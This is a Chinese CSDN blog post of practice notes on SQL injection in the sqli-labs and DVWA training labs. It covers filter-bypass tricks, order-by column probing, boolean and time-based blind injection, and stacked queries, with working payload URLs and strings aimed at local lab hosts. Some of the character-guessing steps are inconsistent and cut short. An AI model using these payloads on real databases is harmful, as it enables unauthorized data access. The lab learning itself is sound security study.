sqli-lab靶场的一次练习与总结

文章详细介绍了SQL注入的多种技术,包括利用空格绕过过滤、大小写注入、通过orderby判断字段数量、数据库模式探测等。同时,讲解了基于布尔的SQL盲注步骤和基于POST请求的SQL注入检测方法,还提到了基于时间的注入攻击和堆叠查询注入等进阶话题。
摘要由CSDN通过智能技术生成

因为靶场的id值空格会被省略,用符号来取消

  1. 大小写注入

Less 27

单引号闭合,为字符型

http://127.0.0.1/sqli/Less-27/?id=1%27%20and%20%271%27%20=%271

Less-27 Trick with SELECT & UNION

注入绕过技巧

不过滤空格方法

使用/**/

使用order by 判断语句用了几个字段

http://127.0.0.1/sqli/Less-27/?id=1%27/*%20*/%20order/*%20*/%20by/*%20*/%203;#

还是出错,那就换字符()()试试

Id=1’()order()by()2;#

使用%

不断尝试各种符号,使得过滤器不在过滤空格

然后就可以实现查询

Where id=‘1’ order by 1||‘1’=‘1’;

使用/%0a*/强制空格

大小写绕过

数据库模式探测

Database()

1、基于布尔的SQL 盲注

Step 1:判断注入

Step 2:猜测可能的SQL 语句

Step 3:探测数据库模式

SELECT * FROM table_users WHERE uid=’id’;

id=1’ and (select if(1=1, 1, 0));#

SELECT * FROM table_users WHERE uid=’ 1’ and (select if(1=1, 1, 0));#’;

用户存在

id=1’ and (select if(1=2, 1, 0));#

SELECT * FROM table_users WHERE uid=’ 1’ and (select if(1=2, 1, 0));#’;

用户不存在

猜测当前数据库的名称:

a b c d e f g h i j k l m n o p q r s t u v w x y z

1' and (select if(ascii(substring(database(), 1, 1))<ascii('a'), 1, 0));#

用户不存在 è数据库名称首字符比’a’

1' and (select if(ascii(substring(database(), 1, 1))<ascii('n'), 1, 0));#

用户不存在 è数据库名称首字符比’n’

1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#

用户不存在 è数据库名称首字符比’g’

1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#

用户不存在 è数据库名称首字符大于或等于’d’

1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#

用户不存在 è数据库名称首字符比’e’

推断数据库名称的首字符为d

以此类推,查询数据库中的表,列名称以及对应的值

2HTTP 请求方法

AGET 方法

http://10.211.55.4/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#

BPOST 方法

http://10.211.55.4/dvwa/vulnerabilities/sqli/#

3、基于POST 请求的SQL 注入

Step 1:判断注入类型

1’ 或者1’ and ‘1’=’1 è报错,推断不是字符型SQL 注入

1 and 1=1 è正确

  1. and 1=2 è错误

推断出这是一个整数型SQL 注入

  1.  

Step 2:推测SQL 查询语句

SELECT first_name,sur_name from table_users WHERE uid=id;

Step 3:用order by 子句推测SELECT 的列数

Order by 2 è正确

Order by 3 è错误

推断SELECT 语句选择了2

Step 4:探测数据库模式

探测当前连接数据库的用户名和数据库名称

探测出数据库dvwa 数据库的模式

3SQL 注入进阶

——基于时间的注入攻击

Sleep 函数,benchmark 类似函数

建议:如果能够转换为基于布尔型SQL 盲注,尽量避免基于时间的 盲注

——堆叠查询注入

可以通过SQL 注入多条SQL 执行语句

DVWA:Low:SQL Injection

SELECT * FROM table_users WHERE user_id=’id’;

id= 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#

SELECT * FROM table_users WHERE user_id=’ 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#’;

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值